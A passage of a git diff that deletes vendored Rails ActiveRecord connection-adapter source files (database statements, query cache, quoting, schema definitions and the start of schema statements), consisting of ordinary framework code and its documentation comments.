-        undef_method :select
-
-        # Returns the last auto-generated ID from the affected table.
-        def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
-          execute(sql, name)
-          id_value
-        end
-
-        # Executes the update statement and returns the number of rows affected.
-        def update_sql(sql, name = nil)
-          execute(sql, name)
-        end
-
-        # Executes the delete statement and returns the number of rows affected.
-        def delete_sql(sql, name = nil)
-          update_sql(sql, name)
-        end
-
-        # Sanitizes the given LIMIT parameter in order to prevent SQL injection.
-        #
-        # +limit+ may be anything that can evaluate to a string via #to_s. It
-        # should look like an integer, or a comma-delimited list of integers.
-        #
-        # Returns the sanitized limit parameter, either as an integer, or as a
-        # string which contains a comma-delimited list of integers.
-        def sanitize_limit(limit)
-          if limit.to_s =~ /,/
-            limit.to_s.split(',').map{ |i| i.to_i }.join(',')
-          else
-            limit.to_i
-          end
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
deleted file mode 100644
index 166c17b5..00000000
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
+++ /dev/null
@@ -1,94 +0,0 @@
-module ActiveRecord
-  module ConnectionAdapters # :nodoc:
-    module QueryCache
-      class << self
-        def included(base)
-          base.class_eval do
-            alias_method_chain :columns, :query_cache
-            alias_method_chain :select_all, :query_cache
-          end
-
-          dirties_query_cache base, :insert, :update, :delete
-        end
-
-        def dirties_query_cache(base, *method_names)
-          method_names.each do |method_name|
-            base.class_eval <<-end_code, __FILE__, __LINE__ + 1
-              def #{method_name}_with_query_dirty(*args)        # def update_with_query_dirty(*args)
-                clear_query_cache if @query_cache_enabled       #   clear_query_cache if @query_cache_enabled
-                #{method_name}_without_query_dirty(*args)       #   update_without_query_dirty(*args)
-              end                                               # end
-                                                                #
-              alias_method_chain :#{method_name}, :query_dirty  # alias_method_chain :update, :query_dirty
-            end_code
-          end
-        end
-      end
-
-      attr_reader :query_cache, :query_cache_enabled
-
-      # Enable the query cache within the block.
-      def cache
-        old, @query_cache_enabled = @query_cache_enabled, true
-        @query_cache ||= {}
-        yield
-      ensure
-        clear_query_cache
-        @query_cache_enabled = old
-      end
-
-      # Disable the query cache within the block.
-      def uncached
-        old, @query_cache_enabled = @query_cache_enabled, false
-        yield
-      ensure
-        @query_cache_enabled = old
-      end
-
-      # Clears the query cache.
-      #
-      # One reason you may wish to call this method explicitly is between queries
-      # that ask the database to randomize results. Otherwise the cache would see
-      # the same SQL query and repeatedly return the same result each time, silently
-      # undermining the randomness you were expecting.
-      def clear_query_cache
-        @query_cache.clear if @query_cache
-      end
-
-      def select_all_with_query_cache(*args)
-        if @query_cache_enabled
-          cache_sql(args.first) { select_all_without_query_cache(*args) }
-        else
-          select_all_without_query_cache(*args)
-        end
-      end
-
-      def columns_with_query_cache(*args)
-        if @query_cache_enabled
-          @query_cache["SHOW FIELDS FROM #{args.first}"] ||= columns_without_query_cache(*args)
-        else
-          columns_without_query_cache(*args)
-        end
-      end
-
-      private
-        def cache_sql(sql)
-          result =
-            if @query_cache.has_key?(sql)
-              log_info(sql, "CACHE", 0.0)
-              @query_cache[sql]
-            else
-              @query_cache[sql] = yield
-            end
-
-          if Array === result
-            result.collect { |row| row.dup }
-          else
-            result.duplicable? ? result.dup : result
-          end
-        rescue TypeError
-          result
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
deleted file mode 100644
index 50a1f700..00000000
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-module ActiveRecord
-  module ConnectionAdapters # :nodoc:
-    module Quoting
-      # Quotes the column value to help prevent
-      # {SQL injection attacks}[http://en.wikipedia.org/wiki/SQL_injection].
-      def quote(value, column = nil)
-        # records are quoted as their primary key
-        return value.quoted_id if value.respond_to?(:quoted_id)
-
-        case value
-          when String, ActiveSupport::Multibyte::Chars
-            value = value.to_s
-            if column && column.type == :binary && column.class.respond_to?(:string_to_binary)
-              "'#{quote_string(column.class.string_to_binary(value))}'" # ' (for ruby-mode)
-            elsif column && [:integer, :float].include?(column.type)
-              value = column.type == :integer ? value.to_i : value.to_f
-              value.to_s
-            else
-              "'#{quote_string(value)}'" # ' (for ruby-mode)
-            end
-          when NilClass                 then "NULL"
-          when TrueClass                then (column && column.type == :integer ? '1' : quoted_true)
-          when FalseClass               then (column && column.type == :integer ? '0' : quoted_false)
-          when Float, Fixnum, Bignum    then value.to_s
-          # BigDecimals need to be output in a non-normalized form and quoted.
-          when BigDecimal               then value.to_s('F')
-          else
-            if value.acts_like?(:date) || value.acts_like?(:time)
-              "'#{quoted_date(value)}'"
-            else
-              "'#{quote_string(value.to_yaml)}'"
-            end
-        end
-      end
-
-      # Quotes a string, escaping any ' (single quote) and \ (backslash)
-      # characters.
-      def quote_string(s)
-        s.gsub(/\\/, '\&\&').gsub(/'/, "''") # ' (for ruby-mode)
-      end
-
-      # Quotes the column name. Defaults to no quoting.
-      def quote_column_name(column_name)
-        column_name
-      end
-
-      # Quotes the table name. Defaults to column name quoting.
-      def quote_table_name(table_name)
-        quote_column_name(table_name)
-      end
-
-      def quoted_true
-        "'t'"
-      end
-
-      def quoted_false
-        "'f'"
-      end
-
-      def quoted_date(value)
-        value.to_s(:db)
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
deleted file mode 100644
index 399a2721..00000000
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
+++ /dev/null
@@ -1,722 +0,0 @@
-require 'date'
-require 'set'
-require 'bigdecimal'
-require 'bigdecimal/util'
-
-module ActiveRecord
-  module ConnectionAdapters #:nodoc:
-    # An abstract definition of a column in a table.
-    class Column
-      TRUE_VALUES = [true, 1, '1', 't', 'T', 'true', 'TRUE'].to_set
-      FALSE_VALUES = [false, 0, '0', 'f', 'F', 'false', 'FALSE'].to_set
-
-      module Format
-        ISO_DATE = /\A(\d{4})-(\d\d)-(\d\d)\z/
-        ISO_DATETIME = /\A(\d{4})-(\d\d)-(\d\d) (\d\d):(\d\d):(\d\d)(\.\d+)?\z/
-      end
-
-      attr_reader :name, :default, :type, :limit, :null, :sql_type, :precision, :scale
-      attr_accessor :primary
-
-      # Instantiates a new column in the table.
-      #
-      # +name+ is the column's name, such as <tt>supplier_id</tt> in <tt>supplier_id int(11)</tt>.
-      # +default+ is the type-casted default value, such as +new+ in <tt>sales_stage varchar(20) default 'new'</tt>.
-      # +sql_type+ is only used to extract the column's length, if necessary. For example +60+ in <tt>company_name varchar(60)</tt>.
-      # +null+ determines if this column allows +NULL+ values.
-      def initialize(name, default, sql_type = nil, null = true)
-        @name, @sql_type, @null = name, sql_type, null
-        @limit, @precision, @scale = extract_limit(sql_type), extract_precision(sql_type), extract_scale(sql_type)
-        @type = simplified_type(sql_type)
-        @default = extract_default(default)
-
-        @primary = nil
-      end
-
-      # Returns +true+ if the column is either of type string or text.
-      def text?
-        type == :string || type == :text
-      end
-
-      # Returns +true+ if the column is either of type integer, float or decimal.
-      def number?
-        type == :integer || type == :float || type == :decimal
-      end
-
-      def has_default?
-        !default.nil?
-      end
-
-      # Returns the Ruby class that corresponds to the abstract data type.
-      def klass
-        case type
-          when :integer       then Fixnum
-          when :float         then Float
-          when :decimal       then BigDecimal
-          when :datetime      then Time
-          when :date          then Date
-          when :timestamp     then Time
-          when :time          then Time
-          when :text, :string then String
-          when :binary        then String
-          when :boolean       then Object
-        end
-      end
-
-      # Casts value (which is a String) to an appropriate instance.
-      def type_cast(value)
-        return nil if value.nil?
-        case type
-          when :string    then value
-          when :text      then value
-          when :integer   then value.to_i rescue value ? 1 : 0
-          when :float     then value.to_f
-          when :decimal   then self.class.value_to_decimal(value)
-          when :datetime  then self.class.string_to_time(value)
-          when :timestamp then self.class.string_to_time(value)
-          when :time      then self.class.string_to_dummy_time(value)
-          when :date      then self.class.string_to_date(value)
-          when :binary    then self.class.binary_to_string(value)
-          when :boolean   then self.class.value_to_boolean(value)
-          else value
-        end
-      end
-
-      def type_cast_code(var_name)
-        case type
-          when :string    then nil
-          when :text      then nil
-          when :integer   then "(#{var_name}.to_i rescue #{var_name} ? 1 : 0)"
-          when :float     then "#{var_name}.to_f"
-          when :decimal   then "#{self.class.name}.value_to_decimal(#{var_name})"
-          when :datetime  then "#{self.class.name}.string_to_time(#{var_name})"
-          when :timestamp then "#{self.class.name}.string_to_time(#{var_name})"
-          when :time      then "#{self.class.name}.string_to_dummy_time(#{var_name})"
-          when :date      then "#{self.class.name}.string_to_date(#{var_name})"
-          when :binary    then "#{self.class.name}.binary_to_string(#{var_name})"
-          when :boolean   then "#{self.class.name}.value_to_boolean(#{var_name})"
-          else nil
-        end
-      end
-
-      # Returns the human name of the column name.
-      #
-      # ===== Examples
-      #  Column.new('sales_stage', ...).human_name # => 'Sales stage'
-      def human_name
-        Base.human_attribute_name(@name)
-      end
-
-      def extract_default(default)
-        type_cast(default)
-      end
-
-      class << self
-        # Used to convert from Strings to BLOBs
-        def string_to_binary(value)
-          value
-        end
-
-        # Used to convert from BLOBs to Strings
-        def binary_to_string(value)
-          value
-        end
-
-        def string_to_date(string)
-          return string unless string.is_a?(String)
-          return nil if string.empty?
-
-          fast_string_to_date(string) || fallback_string_to_date(string)
-        end
-
-        def string_to_time(string)
-          return string unless string.is_a?(String)
-          return nil if string.empty?
-
-          fast_string_to_time(string) || fallback_string_to_time(string)
-        end
-
-        def string_to_dummy_time(string)
-          return string unless string.is_a?(String)
-          return nil if string.empty?
-
-          string_to_time "2000-01-01 #{string}"
-        end
-
-        # convert something to a boolean
-        def value_to_boolean(value)
-          if value.is_a?(String) && value.blank?
-            nil
-          else
-            TRUE_VALUES.include?(value)
-          end
-        end
-
-        # convert something to a BigDecimal
-        def value_to_decimal(value)
-          # Using .class is faster than .is_a? and
-          # subclasses of BigDecimal will be handled
-          # in the else clause
-          if value.class == BigDecimal
-            value
-          elsif value.respond_to?(:to_d)
-            value.to_d
-          else
-            value.to_s.to_d
-          end
-        end
-
-        protected
-          # '0.123456' -> 123456
-          # '1.123456' -> 123456
-          def microseconds(time)
-            ((time[:sec_fraction].to_f % 1) * 1_000_000).to_i
-          end
-
-          def new_date(year, mon, mday)
-            if year && year != 0
-              Date.new(year, mon, mday) rescue nil
-            end
-          end
-
-          def new_time(year, mon, mday, hour, min, sec, microsec)
-            # Treat 0000-00-00 00:00:00 as nil.
-            return nil if year.nil? || year == 0
-
-            Time.time_with_datetime_fallback(Base.default_timezone, year, mon, mday, hour, min, sec, microsec) rescue nil
-          end
-
-          def fast_string_to_date(string)
-            if string =~ Format::ISO_DATE
-              new_date $1.to_i, $2.to_i, $3.to_i
-            end
-          end
-
-          # Doesn't handle time zones.
-          def fast_string_to_time(string)
-            if string =~ Format::ISO_DATETIME
-              microsec = ($7.to_f * 1_000_000).to_i
-              new_time $1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_i, microsec
-            end
-          end
-
-          def fallback_string_to_date(string)
-            new_date(*::Date._parse(string, false).values_at(:year, :mon, :mday))
-          end
-
-          def fallback_string_to_time(string)
-            time_hash = Date._parse(string)
-            time_hash[:sec_fraction] = microseconds(time_hash)
-
-            new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction))
-          end
-      end
-
-      private
-        def extract_limit(sql_type)
-          $1.to_i if sql_type =~ /\((.*)\)/
-        end
-
-        def extract_precision(sql_type)
-          $2.to_i if sql_type =~ /^(numeric|decimal|number)\((\d+)(,\d+)?\)/i
-        end
-
-        def extract_scale(sql_type)
-          case sql_type
-            when /^(numeric|decimal|number)\((\d+)\)/i then 0
-            when /^(numeric|decimal|number)\((\d+)(,(\d+))\)/i then $4.to_i
-          end
-        end
-
-        def simplified_type(field_type)
-          case field_type
-            when /int/i
-              :integer
-            when /float|double/i
-              :float
-            when /decimal|numeric|number/i
-              extract_scale(field_type) == 0 ? :integer : :decimal
-            when /datetime/i
-              :datetime
-            when /timestamp/i
-              :timestamp
-            when /time/i
-              :time
-            when /date/i
-              :date
-            when /clob/i, /text/i
-              :text
-            when /blob/i, /binary/i
-              :binary
-            when /char/i, /string/i
-              :string
-            when /boolean/i
-              :boolean
-          end
-        end
-    end
-
-    class IndexDefinition < Struct.new(:table, :name, :unique, :columns, :lengths) #:nodoc:
-    end
-
-    # Abstract representation of a column definition. Instances of this type
-    # are typically created by methods in TableDefinition, and added to the
-    # +columns+ attribute of said TableDefinition object, in order to be used
-    # for generating a number of table creation or table changing SQL statements.
-    class ColumnDefinition < Struct.new(:base, :name, :type, :limit, :precision, :scale, :default, :null) #:nodoc:
-
-      def sql_type
-        base.type_to_sql(type.to_sym, limit, precision, scale) rescue type
-      end
-
-      def to_sql
-        column_sql = "#{base.quote_column_name(name)} #{sql_type}"
-        column_options = {}
-        column_options[:null] = null unless null.nil?
-        column_options[:default] = default unless default.nil?
-        add_column_options!(column_sql, column_options) unless type.to_sym == :primary_key
-        column_sql
-      end
-
-      private
-
-        def add_column_options!(sql, options)
-          base.add_column_options!(sql, options.merge(:column => self))
-        end
-    end
-
-    # Represents the schema of an SQL table in an abstract way. This class
-    # provides methods for manipulating the schema representation.
-    #
-    # Inside migration files, the +t+ object in +create_table+ and
-    # +change_table+ is actually of this type:
-    #
-    #   class SomeMigration < ActiveRecord::Migration
-    #     def self.up
-    #       create_table :foo do |t|
-    #         puts t.class  # => "ActiveRecord::ConnectionAdapters::TableDefinition"
-    #       end
-    #     end
-    #
-    #     def self.down
-    #       ...
-    #     end
-    #   end
-    #
-    # The table definitions
-    # The Columns are stored as a ColumnDefinition in the +columns+ attribute.
-    class TableDefinition
-      # An array of ColumnDefinition objects, representing the column changes
-      # that have been defined.
-      attr_accessor :columns
-
-      def initialize(base)
-        @columns = []
-        @base = base
-      end
-
-      #Handles non supported datatypes - e.g. XML
-      def method_missing(symbol, *args)
-        if symbol.to_s == 'xml'
-          xml_column_fallback(args)
-        end
-      end
-
-      def xml_column_fallback(*args)
-        case @base.adapter_name.downcase
-          when 'sqlite', 'mysql'
-            options = args.extract_options!
-            column(args[0], :text, options)
-          end
-        end
-      # Appends a primary key definition to the table definition.
-      # Can be called multiple times, but this is probably not a good idea.
-      def primary_key(name)
-        column(name, :primary_key)
-      end
-
-      # Returns a ColumnDefinition for the column with name +name+.
-      def [](name)
-        @columns.find {|column| column.name.to_s == name.to_s}
-      end
-
-      # Instantiates a new column for the table.
-      # The +type+ parameter is normally one of the migrations native types,
-      # which is one of the following:
-      # <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>,
-      # <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>,
-      # <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>,
-      # <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>.
-      #
-      # You may use a type not in this list as long as it is supported by your
-      # database (for example, "polygon" in MySQL), but this will not be database
-      # agnostic and should usually be avoided.
-      #
-      # Available options are (none of these exists by default):
-      # * <tt>:limit</tt> -
-      #   Requests a maximum column length. This is number of characters for <tt>:string</tt> and <tt>:text</tt> columns and number of bytes for :binary and :integer columns.
-      # * <tt>:default</tt> -
-      #   The column's default value. Use nil for NULL.
-      # * <tt>:null</tt> -
-      #   Allows or disallows +NULL+ values in the column. This option could
-      #   have been named <tt>:null_allowed</tt>.
-      # * <tt>:precision</tt> -
-      #   Specifies the precision for a <tt>:decimal</tt> column.
-      # * <tt>:scale</tt> -
-      #   Specifies the scale for a <tt>:decimal</tt> column.
-      #
-      # For clarity's sake: the precision is the number of significant digits,
-      # while the scale is the number of digits that can be stored following
-      # the decimal point. For example, the number 123.45 has a precision of 5
-      # and a scale of 2. A decimal with a precision of 5 and a scale of 2 can
-      # range from -999.99 to 999.99.
-      #
-      # Please be aware of different RDBMS implementations behavior with
-      # <tt>:decimal</tt> columns:
-      # * The SQL standard says the default scale should be 0, <tt>:scale</tt> <=
-      #   <tt>:precision</tt>, and makes no comments about the requirements of
-      #   <tt>:precision</tt>.
-      # * MySQL: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..30].
-      #   Default is (10,0).
-      # * PostgreSQL: <tt>:precision</tt> [1..infinity],
-      #   <tt>:scale</tt> [0..infinity]. No default.
-      # * SQLite2: Any <tt>:precision</tt> and <tt>:scale</tt> may be used.
-      #   Internal storage as strings. No default.
-      # * SQLite3: No restrictions on <tt>:precision</tt> and <tt>:scale</tt>,
-      #   but the maximum supported <tt>:precision</tt> is 16. No default.
-      # * Oracle: <tt>:precision</tt> [1..38], <tt>:scale</tt> [-84..127].
-      #   Default is (38,0).
-      # * DB2: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..62].
-      #   Default unknown.
-      # * Firebird: <tt>:precision</tt> [1..18], <tt>:scale</tt> [0..18].
-      #   Default (9,0). Internal types NUMERIC and DECIMAL have different
-      #   storage rules, decimal being better.
-      # * FrontBase?: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
-      #   Default (38,0). WARNING Max <tt>:precision</tt>/<tt>:scale</tt> for
-      #   NUMERIC is 19, and DECIMAL is 38.
-      # * SqlServer?: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
-      #   Default (38,0).
-      # * Sybase: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
-      #   Default (38,0).
-      # * OpenBase?: Documentation unclear. Claims storage in <tt>double</tt>.
-      #
-      # This method returns <tt>self</tt>.
-      #
-      # == Examples
-      #  # Assuming td is an instance of TableDefinition
-      #  td.column(:granted, :boolean)
-      #  # granted BOOLEAN
-      #
-      #  td.column(:picture, :binary, :limit => 2.megabytes)
-      #  # => picture BLOB(2097152)
-      #
-      #  td.column(:sales_stage, :string, :limit => 20, :default => 'new', :null => false)
-      #  # => sales_stage VARCHAR(20) DEFAULT 'new' NOT NULL
-      #
-      #  td.column(:bill_gates_money, :decimal, :precision => 15, :scale => 2)
-      #  # => bill_gates_money DECIMAL(15,2)
-      #
-      #  td.column(:sensor_reading, :decimal, :precision => 30, :scale => 20)
-      #  # => sensor_reading DECIMAL(30,20)
-      #
-      #  # While <tt>:scale</tt> defaults to zero on most databases, it
-      #  # probably wouldn't hurt to include it.
-      #  td.column(:huge_integer, :decimal, :precision => 30)
-      #  # => huge_integer DECIMAL(30)
-      #
-      #  # Defines a column with a database-specific type.
-      #  td.column(:foo, 'polygon')
-      #  # => foo polygon
-      #
-      # == Short-hand examples
-      #
-      # Instead of calling +column+ directly, you can also work with the short-hand definitions for the default types.
-      # They use the type as the method name instead of as a parameter and allow for multiple columns to be defined
-      # in a single statement.
-      #
-      # What can be written like this with the regular calls to column:
-      #
-      #   create_table "products", :force => true do |t|
-      #     t.column "shop_id",    :integer
-      #     t.column "creator_id", :integer
-      #     t.column "name",       :string,   :default => "Untitled"
-      #     t.column "value",      :string,   :default => "Untitled"
-      #     t.column "created_at", :datetime
-      #     t.column "updated_at", :datetime
-      #   end
-      #
-      # Can also be written as follows using the short-hand:
-      #
-      #   create_table :products do |t|
-      #     t.integer :shop_id, :creator_id
-      #     t.string  :name, :value, :default => "Untitled"
-      #     t.timestamps
-      #   end
-      #
-      # There's a short-hand method for each of the type values declared at the top. And then there's
-      # TableDefinition#timestamps that'll add created_at and +updated_at+ as datetimes.
-      #
-      # TableDefinition#references will add an appropriately-named _id column, plus a corresponding _type
-      # column if the <tt>:polymorphic</tt> option is supplied. If <tt>:polymorphic</tt> is a hash of options, these will be
-      # used when creating the <tt>_type</tt> column. So what can be written like this:
-      #
-      #   create_table :taggings do |t|
-      #     t.integer :tag_id, :tagger_id, :taggable_id
-      #     t.string  :tagger_type
-      #     t.string  :taggable_type, :default => 'Photo'
-      #   end
-      #
-      # Can also be written as follows using references:
-      #
-      #   create_table :taggings do |t|
-      #     t.references :tag
-      #     t.references :tagger, :polymorphic => true
-      #     t.references :taggable, :polymorphic => { :default => 'Photo' }
-      #   end
-      def column(name, type, options = {})
-        column = self[name] || ColumnDefinition.new(@base, name, type)
-        if options[:limit]
-          column.limit = options[:limit]
-        elsif native[type.to_sym].is_a?(Hash)
-          column.limit = native[type.to_sym][:limit]
-        end
-        column.precision = options[:precision]
-        column.scale = options[:scale]
-        column.default = options[:default]
-        column.null = options[:null]
-        @columns << column unless @columns.include? column
-        self
-      end
-
-      %w( string text integer float decimal datetime timestamp time date binary boolean ).each do |column_type|
-        class_eval <<-EOV
-          def #{column_type}(*args)                                               # def string(*args)
-            options = args.extract_options!                                       #   options = args.extract_options!
-            column_names = args                                                   #   column_names = args
-                                                                                  #
-            column_names.each { |name| column(name, '#{column_type}', options) }  #   column_names.each { |name| column(name, 'string', options) }
-          end                                                                     # end
-        EOV
-      end
-
-      # Appends <tt>:datetime</tt> columns <tt>:created_at</tt> and
-      # <tt>:updated_at</tt> to the table.
-      def timestamps(*args)
-        options = args.extract_options!
-        column(:created_at, :datetime, options)
-        column(:updated_at, :datetime, options)
-      end
-
-      def references(*args)
-        options = args.extract_options!
-        polymorphic = options.delete(:polymorphic)
-        args.each do |col|
-          column("#{col}_id", :integer, options)
-          column("#{col}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) unless polymorphic.nil?
-        end
-      end
-      alias :belongs_to :references
-
-      # Returns a String whose contents are the column definitions
-      # concatenated together. This string can then be prepended and appended to
-      # to generate the final SQL to create the table.
-      def to_sql
-        @columns.map(&:to_sql) * ', '
-      end
-
-      private
-        def native
-          @base.native_database_types
-        end
-    end
-
-    # Represents a SQL table in an abstract way for updating a table.
-    # Also see TableDefinition and SchemaStatements#create_table
-    #
-    # Available transformations are:
-    #
-    #   change_table :table do |t|
-    #     t.column
-    #     t.index
-    #     t.timestamps
-    #     t.change
-    #     t.change_default
-    #     t.rename
-    #     t.references
-    #     t.belongs_to
-    #     t.string
-    #     t.text
-    #     t.integer
-    #     t.float
-    #     t.decimal
-    #     t.datetime
-    #     t.timestamp
-    #     t.time
-    #     t.date
-    #     t.binary
-    #     t.boolean
-    #     t.remove
-    #     t.remove_references
-    #     t.remove_belongs_to
-    #     t.remove_index
-    #     t.remove_timestamps
-    #   end
-    #
-    class Table
-      def initialize(table_name, base)
-        @table_name = table_name
-        @base = base
-      end
-
-      # Adds a new column to the named table.
-      # See TableDefinition#column for details of the options you can use.
-      # ===== Example
-      # ====== Creating a simple column
-      #  t.column(:name, :string)
-      def column(column_name, type, options = {})
-        @base.add_column(@table_name, column_name, type, options)
-      end
-
-      # Adds a new index to the table. +column_name+ can be a single Symbol, or
-      # an Array of Symbols. See SchemaStatements#add_index
-      #
-      # ===== Examples
-      # ====== Creating a simple index
-      #  t.index(:name)
-      # ====== Creating a unique index
-      #  t.index([:branch_id, :party_id], :unique => true)
-      # ====== Creating a named index
-      #  t.index([:branch_id, :party_id], :unique => true, :name => 'by_branch_party')
-      def index(column_name, options = {})
-        @base.add_index(@table_name, column_name, options)
-      end
-
-      # Adds timestamps (created_at and updated_at) columns to the table. See SchemaStatements#add_timestamps
-      # ===== Example
-      #  t.timestamps
-      def timestamps
-        @base.add_timestamps(@table_name)
-      end
-
-      # Changes the column's definition according to the new options.
-      # See TableDefinition#column for details of the options you can use.
-      # ===== Examples
-      #  t.change(:name, :string, :limit => 80)
-      #  t.change(:description, :text)
-      def change(column_name, type, options = {})
-        @base.change_column(@table_name, column_name, type, options)
-      end
-
-      # Sets a new default value for a column. See SchemaStatements#change_column_default
-      # ===== Examples
-      #  t.change_default(:qualification, 'new')
-      #  t.change_default(:authorized, 1)
-      def change_default(column_name, default)
-        @base.change_column_default(@table_name, column_name, default)
-      end
-
-      # Removes the column(s) from the table definition.
-      # ===== Examples
-      #  t.remove(:qualification)
-      #  t.remove(:qualification, :experience)
-      def remove(*column_names)
-        @base.remove_column(@table_name, column_names)
-      end
-
-      # Removes the given index from the table.
-      #
-      # ===== Examples
-      # ====== Remove the suppliers_name_index in the suppliers table
-      #   t.remove_index :name
-      # ====== Remove the index named accounts_branch_id_index in the accounts table
-      #   t.remove_index :column => :branch_id
-      # ====== Remove the index named accounts_branch_id_party_id_index in the accounts table
-      #   t.remove_index :column => [:branch_id, :party_id]
-      # ====== Remove the index named by_branch_party in the accounts table
-      #   t.remove_index :name => :by_branch_party
-      def remove_index(options = {})
-        @base.remove_index(@table_name, options)
-      end
-
-      # Removes the timestamp columns (created_at and updated_at) from the table.
-      # ===== Example
-      #  t.remove_timestamps
-      def remove_timestamps
-        @base.remove_timestamps(@table_name)
-      end
-
-      # Renames a column.
-      # ===== Example
-      #  t.rename(:description, :name)
-      def rename(column_name, new_column_name)
-        @base.rename_column(@table_name, column_name, new_column_name)
-      end
-
-      # Adds a reference. Optionally adds a +type+ column.
-      # <tt>references</tt> and <tt>belongs_to</tt> are acceptable.
-      # ===== Examples
-      #  t.references(:goat)
-      #  t.references(:goat, :polymorphic => true)
-      #  t.belongs_to(:goat)
-      def references(*args)
-        options = args.extract_options!
-        polymorphic = options.delete(:polymorphic)
-        args.each do |col|
-          @base.add_column(@table_name, "#{col}_id", :integer, options)
-          @base.add_column(@table_name, "#{col}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) unless polymorphic.nil?
-        end
-      end
-      alias :belongs_to :references
-
-      # Removes a reference. Optionally removes a +type+ column.
-      # <tt>remove_references</tt> and <tt>remove_belongs_to</tt> are acceptable.
-      # ===== Examples
-      #  t.remove_references(:goat)
-      #  t.remove_references(:goat, :polymorphic => true)
-      #  t.remove_belongs_to(:goat)
-      def remove_references(*args)
-        options = args.extract_options!
-        polymorphic = options.delete(:polymorphic)
-        args.each do |col|
-          @base.remove_column(@table_name, "#{col}_id")
-          @base.remove_column(@table_name, "#{col}_type") unless polymorphic.nil?
-        end
-      end
-      alias :remove_belongs_to  :remove_references
-
-      # Adds a column or columns of a specified type
-      # ===== Examples
-      #  t.string(:goat)
-      #  t.string(:goat, :sheep)
-      %w( string text integer float decimal datetime timestamp time date binary boolean ).each do |column_type|
-        class_eval <<-EOV
-          def #{column_type}(*args)                                          # def string(*args)
-            options = args.extract_options!                                  #   options = args.extract_options!
-            column_names = args                                              #   column_names = args
-                                                                             #
-            column_names.each do |name|                                      #   column_names.each do |name|
-              column = ColumnDefinition.new(@base, name, '#{column_type}')   #     column = ColumnDefinition.new(@base, name, 'string')
-              if options[:limit]                                             #     if options[:limit]
-                column.limit = options[:limit]                               #       column.limit = options[:limit]
-              elsif native['#{column_type}'.to_sym].is_a?(Hash)              #     elsif native['string'.to_sym].is_a?(Hash)
-                column.limit = native['#{column_type}'.to_sym][:limit]       #       column.limit = native['string'.to_sym][:limit]
-              end                                                            #     end
-              column.precision = options[:precision]                         #     column.precision = options[:precision]
-              column.scale = options[:scale]                                 #     column.scale = options[:scale]
-              column.default = options[:default]                             #     column.default = options[:default]
-              column.null = options[:null]                                   #     column.null = options[:null]
-              @base.add_column(@table_name, name, column.sql_type, options)  #     @base.add_column(@table_name, name, column.sql_type, options)
-            end                                                              #   end
-          end                                                                # end
-        EOV
-      end
-
-      private
-        def native
-          @base.native_database_types
-        end
-    end
-
-  end
-end
-
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
deleted file mode 100644
index 12826b19..00000000
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
+++ /dev/null
@@ -1,490 +0,0 @@
-module ActiveRecord
-  module ConnectionAdapters # :nodoc:
-    module SchemaStatements
-      # Returns a Hash of mappings from the abstract data types to the native
-      # database types.  See TableDefinition#column for details on the recognized
-      # abstract data types.
-      def native_database_types
-        {}
-      end
-
-      # Truncates a table alias according to the limits of the current adapter.
-      def table_alias_for(table_name)
-        table_name[0..table_alias_length-1].gsub(/\./, '_')
-      end
-
-      # def tables(name = nil) end
-
-      def table_exists?(table_name)
-        tables.include?(table_name.to_s)
-      end
-
-      # Returns an array of indexes for the given table.
-      # def indexes(table_name, name = nil) end
-
-      # Returns an array of Column objects for the table specified by +table_name+.
-      # See the concrete implementation for details on the expected parameter values.
-      def columns(table_name, name = nil) end
-
-      # Creates a new table with the name +table_name+. +table_name+ may either
-      # be a String or a Symbol.
-      #
-      # There are two ways to work with +create_table+.  You can use the block
-      # form or the regular form, like this:
-      #
-      # === Block form
-      #  # create_table() passes a TableDefinition object to the block.
-      #  # This form will not only create the table, but also columns for the
-      #  # table.
-      #  create_table(:suppliers) do |t|
-      #    t.column :name, :string, :limit => 60
-      #    # Other fields here
-      #  end
-      #
-      # === Regular form
-      #  # Creates a table called 'suppliers' with no columns.
-      #  create_table(:suppliers)
-      #  # Add a column to 'suppliers'.
-      #  add_column(:suppliers, :name, :string, {:limit => 60})
-      #
-      # The +options+ hash can include the following keys:
-      # [<tt>:id</tt>]
-      #   Whether to automatically add a primary key column. Defaults to true.
-      #   Join tables for +has_and_belongs_to_many+ should set <tt>:id => false</tt>.
-      # [<tt>:primary_key</tt>]
-      #   The name of the primary key, if one is to be added automatically.
-      #   Defaults to +id+.
-      # [<tt>:options</tt>]
-      #   Any extra options you want appended to the table definition.
-      # [<tt>:temporary</tt>]
-      #   Make a temporary table.
-      # [<tt>:force</tt>]
-      #   Set to true to drop the table before creating it.
-      #   Defaults to false.
-      #
-      # ===== Examples
-      # ====== Add a backend specific option to the generated SQL (MySQL)
